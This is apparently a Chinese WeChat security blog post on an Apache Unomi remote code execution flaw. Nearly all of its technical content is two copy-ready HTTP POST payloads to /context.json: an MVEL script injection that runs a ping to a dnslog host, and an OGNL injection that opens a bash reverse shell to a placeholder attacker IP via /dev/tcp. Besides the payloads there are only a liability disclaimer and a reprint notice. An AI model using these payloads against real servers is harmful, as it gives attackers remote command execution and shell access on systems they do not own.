欢迎关注公众号:进德修业行道。一名普通的白帽子,维护着一个既讲技术又有温度的原创号,一如既往地学习和分享,希望大家在紧张而忙碌的生活中可以在这里安静的学习,前行的道路上感谢有您的关注与支持。
首页如下
构造payload:
POST /context.json HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Connection: close
Content-Type: application/json
Content-Length: 493
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec('ping 23dniu.dnslog.cn');"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
漏洞利用
漏洞证明
反弹shell的payload:
POST /context.json HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Connection: close
Content-Type: application/json
Content-Length: 493
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName("java.lang.Runtime")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals("getRuntime")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals("exec")}.{? #this.getParameters()[0].getType().getName().equals("java.lang.String")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,"/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/x.x.x.x/xxx 0>&1"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"sample"
}
漏洞利用
漏洞证明
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:进德修业行道 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
本文始发于微信公众号(进德修业行道):Apache Unomi 远程代码执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论